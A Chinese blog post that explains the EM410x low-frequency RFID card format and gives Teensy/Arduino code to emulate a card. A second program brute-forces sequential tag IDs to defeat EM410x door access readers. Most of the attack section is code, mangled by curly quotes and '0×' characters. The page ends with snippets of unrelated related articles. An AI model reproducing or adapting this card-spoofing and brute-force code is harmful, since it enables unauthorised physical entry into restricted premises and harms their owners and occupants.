利用Teensy进行em410x卡模拟以及暴力破解em410x类门禁系统

什么是低频?什么是EM410x?

首先,我不得不再次提一下那些工作在125khz频率下的低频卡(如:EM410X之类的),以便大家更好的阅读以下的内容。

什么是低频?以下就是低频的解释:

低频(LF, Low frequency)是指频带由30KHz到300KHz的无线电电波。一些无线电频率识别( RFID技术 )标签使用低频。 这些标签通常被称为 LFID’s或LowFID’s(低频率识别Low Frequency Identification)。

然而LFID’s/LowFID’s所常用(非唯一)的频率为125kHz/134kHz,125kHz/134kHz只是低频RFID所基于的频率,该频率不存在任何功能性,就是频率本身不存在所谓的ID识别、读取写入等,而常用的低频卡有HID、T55xx、EM410x等系列,这些系列的低频卡都是大家在生活当中常常会使用到会碰到的。

而这一次我们说的就是基于125kHz下的EM410x系列用于门禁ID识别之用。

以下就是EM410x的格式:
1 1 1 1 1 1 1 1 1        9bits头
8 bits版本或厂商ID
D00 D01 D02 D03 P0
D10 D11 D12 D13 P1
D20 D21 D22 D23 P2
D30 D31 D32 D33 P3
D40 D41 D42 D43 P4      10bits行检验
D50 D51 D52 D53 P5
32bits数据              D60 D61 D62 D63 P6
D70 D71 D72 D73 P7
D80 D81 D82 D83 P8
D90 D91 D92 D93 P9
PC0 PC1 PC2 PC3 S0
4位列校验

这64位数据里面连续9个1作为数据开头,而D00-D93就是用户数据,P0-P9是行偶校验位,PC0-PC3是列偶校验位,S0为数据结束位。

简单通俗的科谱一下什么是偶校验,就是数据1的个数是奇数还是偶数。

例如:0×01的二进制是0001这个数据中1的个数为奇数,如果偶校验的话就应该是 00011让1的个数为偶数,要是数据是1110 那偶校验当然就是11101,相反要是奇校验就是11100。

以下实际例子说明EM410x格式:

如果我有一张EM410x卡,而卡上所印刷的ID会是:

0005206306

如果利用Proxmark3或低频读卡器进行读取的话,你将会看到ID会多出两位数值,而这个数值有可能就是8bit的版本、厂商或用户标识。如果我们利用Proxmark3读取出来ID是:

0×0600503472

相对应的0×00503472=5206306,而0×06就是标识,而它的格式将会是怎么样的呢?看看以下分析:

首先是数据头:

111111111
111111111

卡号数据与行偶校验位

0 = 0000 0
6 = 0110 0
0 = 0000 0
0 = 0000 0
5 = 0101 0
0 = 0000 0
3 = 0011 0
4 = 0100 1
7 = 0111 1
2 = 0010 1
p = 0001 (列偶校验位)
0 结束

 由上面的数据因此我们将会得到以下的数值:

111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010

这就是EM410x的格式,如果还有什么不明白的话,请自行使用Google等搜索引擎进行信息搜索,接下来就是谈谈如何利用Teensy进行EM410x的模拟操作。

利用Teensy模拟EM410x Tag

硬件元件清单:

1. 基于125kHz的低频线圈
‍2. 电容
‍3. 三极管 2N3904
‍4. 电阻 10K
‍5. Teensy++ 2.0‍‍‍‍‍

如何制做一个125khz谐振电路呢。那得知道LC谐振公式

F 频率 L 电感 C 电容

如你买的线圈电感是345UH那么就配一个4700PF的电容,要是730UH那电容就配个2200PF的。当天线配置好后,就利用Teensy++ 2.0这个小玩意写入以下代码,当然你也可以用Arduino开发板。

Teensy++ 2.0模拟EM410x代码如下:

String sStart = “1111111110000000000″;//
String sStop = “0″;
int data_to_spoof[64];
int coil_pin = 9;
int a,b,c,d;
unsigned long id;
char HexCode[8];

void setup()
{
// Serial.begin(9600);
pinMode(coil_pin, OUTPUT);
digitalWrite(coil_pin, LOW);
id = 0×503472;
a=0;b=0;c=0;d=0;
sprintf(HexCode,”%04X%04X”,id);
String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;
// Serial.println(s);
toCode(s);

}

void set_pin_manchester(int clock_half, int signal)
{
int man_encoded = clock_half ^ signal;
if(man_encoded == 1)
{
digitalWrite(coil_pin, HIGH);
}
else
{
digitalWrite(coil_pin, LOW);
}
}

String Em4xCode(String code)
{
if (code == ’1′) {d+=1;return “00011″;}
if (code == ’2′) {c+=1;return “00101″;}
if (code == ’3′) {c+=1;d+=1;return “00110″;}
if (code == ’4′) {b+=1;return “01001″;}
if (code == ’5′) {b+=1;d+=1;return “01010″;}
if (code == ’6′) {b+=1;c+=1;return “01100″;}
if (code == ’7′) {b+=1;c+=1;d+=1;return “01111″;}
if (code == ’8′) {a+=1;return “10001″;}
if (code == ’9′) {a+=1;d+=1;return “10010″;}
if (code == ‘A’) {a+=1;c+=1;return “10100″;}
if (code == ‘B’) {a+=1;c+=1;d+=1;return “10111″;}
if (code == ‘C’) {a+=1;b+=1;return “11000″;}
if (code == ‘D’) {a+=1;b+=1;d+=1;return “11011″;}
if (code == ‘E’) {a+=1;b+=1;c+=1;return “11101″;}
if (code == ‘F’) {a+=1;b+=1;c+=1;d+=1;return “11110″;}
return “00000″;
}

String EvenParity(int Parity)
{
if ((Parity % 2) == 1) return “1″;
return “0″;
}

void toCode(String s)
{
for(int i = 0; i < 64; i++)
{
if (s[i]==’0′){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}
}
}
void loop()
{
for(int i = 0; i < 64; i++)
{
set_pin_manchester(0, data_to_spoof[i]);
delayMicroseconds(256);
set_pin_manchester(1, data_to_spoof[i]);
delayMicroseconds(256);
}
}

在这里要提出的是,有可能你不理解为什么这么发送,因为它的编码为是:曼彻斯特码,所以我在这也通俗的说一下吧。

例如要发送64位数据:

111111111 00000 01100 00000 00000 01010 00000 00110 01001 01111 00101 00010

那用多少时间传送1位呢?答案是64,125khz等于512us也就是说512us转送1位,但曼彻斯特码是用2位来表示的,如果数据是1的话,曼彻斯特码为10,数据为0的话,曼彻斯特码为01。所以转送时512us转一位数据换算为曼彻斯特码转输就应该是 512us/2=256us传送一个,然而程序是把64位数据换算成曼彻斯特码发送,所以发送间隔为delayMicroseconds(256);

当我们利用Teensy进行相关的模拟操作的时候,发现实际上只要我们做相关穷举测试,或者我们可以更加快速的突破门禁系统的限制进入到受限区域,在测试的环境当中,因为读卡器并没有任何延时读取出现,所以我们可以极快的速度穷举相关的TagID,但因每种门禁都有自身的设置以及环境因素,我们不确定以下的穷举代码是否适合大家,故此我们只是以提出可行性猜想来写本文。

以下是暴力穷举测试程序代码:

String sStart = “1111111110000000000″;
String sStop = “0″;
int data_to_spoof[64];
int led = 6;
int coil_pin = 9;
int a,b,c,d;
unsigned long id;
char HexCode[8];

void setup()
{
// Serial.begin(9600);
pinMode(led, OUTPUT);
pinMode(coil_pin, OUTPUT);
digitalWrite(coil_pin, LOW);
id = 0x502E96;
}

void set_pin_manchester(int clock_half, int signal)
{
int man_encoded = clock_half ^ signal;
if(man_encoded == 1)
{
digitalWrite(coil_pin, HIGH);
}
else
{
digitalWrite(coil_pin, LOW);
}
}

String Em4xCode(String code)
{
if (code == ’1′) {d+=1;return “00011″;}
if (code == ’2′) {c+=1;return “00101″;}
if (code == ’3′) {c+=1;d+=1;return “00110″;}
if (code == ’4′) {b+=1;return “01001″;}
if (code == ’5′) {b+=1;d+=1;return “01010″;}
if (code == ’6′) {b+=1;c+=1;return “01100″;}
if (code == ’7′) {b+=1;c+=1;d+=1;return “01111″;}
if (code == ’8′) {a+=1;return “10001″;}
if (code == ’9′) {a+=1;d+=1;return “10010″;}
if (code == ‘A’) {a+=1;c+=1;return “10100″;}
if (code == ‘B’) {a+=1;c+=1;d+=1;return “10111″;}
if (code == ‘C’) {a+=1;b+=1;return “11000″;}
if (code == ‘D’) {a+=1;b+=1;d+=1;return “11011″;}
if (code == ‘E’) {a+=1;b+=1;c+=1;return “11101″;}
if (code == ‘F’) {a+=1;b+=1;c+=1;d+=1;return “11110″;}
return “00000″;
}

String EvenParity(int Parity)
{
if ((Parity % 2) == 1) return “1″;
return “0″;
}

void toCode(String s)
{
for(int i = 0; i < 64; i++)
{
if (s[i]==’0′){data_to_spoof[i]=0;}else{data_to_spoof[i]=1;}
}
}
void loop()
{
a=0;b=0;c=0;d=0;
sprintf(HexCode,”%04X%04X”,id);
String s = sStart + Em4xCode(HexCode[4]) + Em4xCode(HexCode[5]) + Em4xCode(HexCode[6]) + Em4xCode(HexCode[7]) + Em4xCode(HexCode[0]) + Em4xCode(HexCode[1]) + Em4xCode(HexCode[2]) + Em4xCode(HexCode[3]) + EvenParity(a) + EvenParity(b) + EvenParity(c) + EvenParity(d) + sStop;
// Serial.println(s);
toCode(s);
for(int ii = 0; ii < 2; ii++)
{
for(int i = 0; i < 64; i++)
{
set_pin_manchester(0, data_to_spoof[i]);
delayMicroseconds(265);
set_pin_manchester(1, data_to_spoof[i]);
delayMicroseconds(265);
}
}
if (id == 0x50308A){digitalWrite(led, HIGH);}
id += 1;
if (id > 0xFFFFFFFF ){id=0;}
}
时间: 2024-09-15 07:00:57

利用Teensy进行em410x卡模拟以及暴力破解em410x类门禁系统的相关文章

除了WiFi 泄密、破解门禁卡,无线电攻击居然还能用来打飞机 | 补天白帽大会 2017

  提到"无形之刃"这个词,许多人会想起武侠小说中"六脉神剑"那样的绝学,或是科幻电影里对超能力.念力的场景.然而在几天前的补天白帽大会上,杨卿的一场议题演讲却让人们意识到,无形之刃并不只是存在于电影之中,它就存在于我们身边--无线电攻击. 第一把无形之刃:WiFi WiFi 钓鱼这几年一说再说,已是老生常谈的内容,不过这一次360的无线电安全专家杨卿讲了些不一样的内容. 你的WiFi暴露你的踪迹 在现场,杨卿给大家讲了个老段子:"一个女生拿着男朋友的手机

如何使用 fail2ban 防御 SSH 服务器的暴力破解攻击

如何使用 fail2ban 防御 SSH 服务器的暴力破解攻击 对于SSH服务的常见的攻击就是暴力破解攻击--远程攻击者通过不同的密码来无限次地进行登录尝试.当然SSH可以设置使用非密码验证验证方式来对抗这种攻击,例如公钥验证或者双重验证.将不同的验证方法的优劣处先放在一边,如果我们必须使用密码验证方式怎么办?你是如何保护你的 SSH 服务器免遭暴力破解攻击的呢? fail2ban 是 Linux 上的一个著名的入侵保护的开源框架,它会监控多个系统的日志文件(例如:/var/log/auth.l

谷歌部署正向加密 应对暴力破解

据国外媒体报道,谷歌日前对于旗下的Gmail.在线文档等推出全 新的加密措施,此举可以避免多年之后不良之徒利用性能更加强大的服务器实施"暴力破解".谷歌安全团队的负责人亚当·郎利(Adam Langley)通过官方博客宣布,谷歌日前已经开始部署了 所谓"正向加密"(forward secrecy)的全新加密技术,用于对Gmail邮件.Google Docs办公文件等实施加密.郎利介绍说,今天大部分支持HTTPS加密协议的网站和服务器,使用的是"非正向安全&

日光清城小区换门禁卡收费高惹业主不满

本报讯 (记者 周鑫 实习记者 高希萌) 近日,通州区日光清城小区物业对所有单元的门禁系统进行重新安装,业主需刷卡才可进门.更换门禁系统后,业主配门禁卡需缴纳30元,这项收费引来业主不满. 该小区一名业主称,近日,物业在各单元门上贴出通知:"由于单元门系统更换,原钥匙已作废,请您尽快到物业房管部购买磁卡钥匙."次日,这名业主回家时,发现门禁系统果然更换,原有钥匙无法继续使用.无奈之下,他只得到物业处购买新的门禁卡. "30元一张门禁卡,实在太贵了."该业主说,他们一

黑客开始利用云计算暴力破解密码

本文讲的是黑客开始利用云计算暴力破解密码[IT168 云计算频道]使用云计算服务来替代在公司里设立维护大量服务器,显然对节省企业的成本有利.不过现在看来从云计算服务中受惠最大的恐怕是黑客等群体,黑客们开始利用亚马逊EC2等云计算服务来暴力破解并窃取用户信用卡密码.不过据安全专家David Campbell的计算,即便用户不使用安全专家建议的大小写字母混合式的密码组合,使用亚马逊提供的云计算服务进行密码暴力破解的黑客,出于成本过高的原因可能也将无法使用这种服务对具备12位长度的密码进行破解. 目前

nfc-Android下NFC卡模拟方式的例子代码

问题描述 Android下NFC卡模拟方式的例子代码 谁能给一个Android(4.0以上)下NFC软件卡模拟方式的例子代码?另外,卡模拟方式对手机配置有要求吗? 解决方案 android 网络请求方式 例子 解决方案二: 首先手机必须有NFC模块,现在支持NFC的手机并不多.另外NFC的编程这篇博客希望有帮助http://blog.csdn.net/ada_dengpan/article/details/50700557 解决方案三: http://www.jikexueyuan.com/co

Linux 利用hosts.deny 防止暴力破解ssh(转)

一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7系统).Development Tools. 主机ip:192.168.30.64 (服务器端).192.168.30.64(客户端+ 暴力破解[Hydra]) 在30.63上进行暴力破解30.64 2.2 客户端上安装 破解程序 hydra.关于该程序的详情请去官网. 安装该软件的依赖环境: [r

利用JScript/CSS 编程技术模拟实现TABView控件

标题     利用JScript/CSS 编程技术模拟实现TABView控件    zosatapo(原作)     关键字     JScript CSS TABView 控件 网页设计     利用JScript/CSS 编程技术模拟实现TABView控件[key word] JScript CSS TABView 控件 网页设计[abstract]本文介绍JSCript/CSS编程来模拟实现TABView控件.[Author] zosatapo(CSDN会员)[Email]    dert

OpenSSH漏洞可导致服务器被暴力破解 研究人员公布利用方法

本文讲的是 OpenSSH漏洞可导致服务器被暴力破解 研究人员公布利用方法,利用安全远程访问工具OpenSSH中的一个漏洞,攻击者可绕过认证重试次数的限制,进行大量的口令猜解.一位网名为Kingcope的安全人员近日在博客上发布了这个漏洞的利用方法. OpenSSH服务器的"键盘交互"认证是打开的,默认设置为允许6次认证尝试,客户端只允许3次,然后就会关闭与服务器的连接.然而,这个认证机制可以在单次连接中进行多次认证尝试.利用这个漏洞,攻击者能够在允许登录时间的2分钟内进行多次口令尝试